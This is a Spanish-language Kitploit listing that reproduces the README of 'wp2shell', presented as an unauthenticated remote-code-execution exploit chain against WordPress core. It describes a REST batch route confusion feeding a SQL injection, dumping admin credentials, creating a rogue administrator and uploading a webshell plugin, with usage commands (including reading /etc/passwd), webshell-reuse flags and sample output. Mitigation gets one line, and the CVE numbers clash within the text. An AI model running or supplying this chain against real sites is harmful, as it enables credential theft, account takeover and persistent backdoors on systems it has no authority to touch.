Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Wp2Shell — Prueba de concepto de exploit para Wp2Shell, CVE-2026-63030 + CVE-2026-63137 | Kitploit
Herramientas/GitHubGitHub/c0gnit00/wp2shell
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubc0gnit00/wp2shell

Wp2Shell

Prueba de concepto de exploit para Wp2Shell, CVE-2026-63030 + CVE-2026-63137

Ver Repositorio
1244hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

wp2shell

Ejecución remota de código sin autenticación en el núcleo de WordPress.

CVE-2026-60137 (Inyección SQL en WP_Query) encadenada con CVE-2026-63030 (Confusión de ruta de lotes en la API REST).

Solo para fines educativos e investigación de seguridad autorizada.


Versiones afectadas

WordPress 6.9.0 a 6.9.4 y 7.0.0 a 7.0.1 son vulnerables. Corregido en 6.9.5 y 7.0.2.


Cómo funciona

El exploit encadena dos vulnerabilidades:

CVE-2026-63030 — Confusión de ruta de lotes. El endpoint de lotes de la API REST en /wp-json/batch/v1 (o /?rest_route=/batch/v1) procesa sub-solicitudes en dos fases: primero asocia cada ruta a un manejador, luego envía cada solicitud a través de su manejador asociado. Cuando se inserta una ruta deliberadamente malformada (///) como primera sub-solicitud, WordPress almacena un WP_Error en el índice 0 del array de rutas asociadas. Esto desplaza cada asignación de manejador posterior un índice hacia atrás. El bucle de envío empareja entonces cada solicitud con el manejador incorrecto: una solicitud validada contra el Esquema A es ejecutada por el Manejador B, evitando la sanitización de parámetros que imponía el Esquema A.

CVE-2026-60137 — Inyección SQL en WP_Query. El endpoint de colección de entradas acepta un parámetro author_exclude cuyo esquema impone valores de array de tipo entero, sanitizando cada elemento con absint() antes de que llegue a WP_Query. La desincronización del lote hace que este parámetro evite por completo la validación del esquema y llegue a la lógica author__not_in de WP_Query como una cadena sin procesar. Debido a que absint() solo se aplica dentro de una rama is_array(), la cadena sin procesar se interpola directamente en la cláusula SQL WHERE, lo que permite la inyección UNION SELECT.

La cadena completa consta de cuatro pasos:

  1. Confirmar que el endpoint de lotes es accesible y que la desincronización funciona.
  2. Extraer la versión de la base de datos, el usuario, el prefijo de tabla y las credenciales del administrador a través de filas UNION SELECT reflejadas en la respuesta JSON REST.
  3. Crear una nueva cuenta de administrador mediante la inyección de filas falsas de wp_posts que envenenan la caché oEmbed y activan el hook de publicación de changeset de WP_Customize_Manager, que llama a wp_insert_user() con role=administrator.
  4. Autenticarse con la nueva cuenta, subir un plugin PHP de un solo archivo como archivo zip a través de la interfaz estándar de carga de plugins, activarlo y ejecutar comandos del sistema operativo a través del shell.

Requisitos

  • Python 3.8 o posterior
  • Sin dependencias de terceros (solo librería estándar)
  • Acceso de red a la instancia de WordPress objetivo

Instalación

git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell

No se requiere pip install.


Uso

Cadena de exploit completa

Ejecuta los cuatro pasos: confirmación de desincronización, reconocimiento SQL, creación de administrador e implementación de webshell. Se crean una nueva cuenta de administrador y un nuevo plugin en cada ejecución.

python3 exploit.py --url http://TARGET --command "id"
python3 exploit.py --url http://TARGET --command "uname -a"
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"

Contra un objetivo HTTPS con un certificado autofirmado:

python3 exploit.py --url https://TARGET --command "id" --insecure

Reutilización de una webshell existente

Después de que se complete una ejecución de cadena completa, el script imprime un comando de reutilización listo para usar con las credenciales implementadas y la ruta del shell precompletadas. Pasa esas tres banderas en ejecuciones posteriores para omitir por completo las fases de SQL y creación de administrador:

python3 exploit.py \
  --url                  http://TARGET \
  --command              "whoami" \
  --admin-user           wp2_poc_da4d1cf83acb \
  --admin-password       "Wp2!J47LBKLEbu4ebAJo" \
  --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php

Referencia de línea de comandos

usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
                  [--admin-user USER] [--admin-password PASS]
                  [--prev-webshell-plugin PATH]
BanderasCortaDescripción
--url-uURL base de WordPress objetivo. Por defecto: http://localhost:8080
--command-cComando del sistema operativo a ejecutar. Por defecto: id
--insecure-kDeshabilitar verificación de certificado TLS para certificados autofirmados
--admin-userModo de reutilización: nombre de usuario administrador creado previamente
--admin-passwordModo de reutilización: contraseña de administrador creada previamente
--prev-webshell-pluginModo de reutilización: ruta web al plugin webshell ya implementado

Las tres banderas --admin-* / --prev-webshell-plugin deben suministrarse todas juntas o ninguna.


Ejemplo de salida

Cadena completa

+======================================================================+
|         wp2shell -- PoC RCE Pre-Auth (Educativo / Investigación)     |
|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Confusión de ruta de lotes) |
+======================================================================+
  Objetivo :  http://localhost:8080
  Comando  :  uname -a
  Modo    :  CADENA COMPLETA

[PASO 1] Verificando endpoint de lotes + desincronización de confusión de ruta
  [+] Endpoint de lotes accesible (HTTP 207)
  [+] Desincronización de confusión de ruta confirmada (marcadores: block_cannot_read, parse_path_failed, rest_batch_not_allowed)

[PASO 2] UNION SQLi -- reconocimiento de base de datos
  [+] Versión de base de datos  : 10.11.18-MariaDB-ubu2204
  [+] Usuario de base de datos  : wpuser@%
  [+] Nombre de base de datos   : wordpress
  [+] Prefijo de tabla          : wp_
  [+] Inicio de sesión admin    : admin
  [+] Hash admin (phpass)       : $wp$2y$10$BSAr2Yyk/...
  [+] ID de usuario admin       : 1

[PASO 3] Creando un nuevo administrador mediante envenenamiento de caché oEmbed
  [*] Sembrando caché oEmbed con 3 URL de bucle invertido...
  [+] IDs de caché oEmbed: [96, 97, 98]
  [*] Enviando veneno de changeset + creación de usuario...
  [+] Admin creado -- nombre de usuario: wp2_poc_da4d1cf83acb  contraseña: Wp2!J47LBKLEbu4ebAJo

[PASO 4] Autenticando + implementando webshell -- ejecutando: uname -a
  [*] Iniciando sesión en wp-admin...
  [+] Iniciada sesión como administrador
  [*] Subiendo plugin webshell (slug: wp2shell_6c6f62a8)...
  [+] Plugin subido
  [*] Activando plugin...
  [+] Plugin activado
  [*] Ejecutando: uname -a

============================================================
  SALIDA DEL COMANDO -- uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================

  [+] RCE confirmada -- Cadena de exploit Pre-Auth completada

  +-- PISTA DE REUTILIZACIÓN ------------------------------------------+
  |  Omite la cadena completa la próxima vez -- pasa estas banderas:    |
  +---------------------------------------------------------------------+

  python3 exploit.py \
    --url                  http://localhost:8080 \
    --command              'YOUR_COMMAND' \
    --admin-user           wp2_poc_da4d1cf83acb \
    --admin-password       'Wp2!J47LBKLEbu4ebAJo' \
    --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php

Mitigación

Actualice a una versión corregida de inmediato.

Descargar herramienta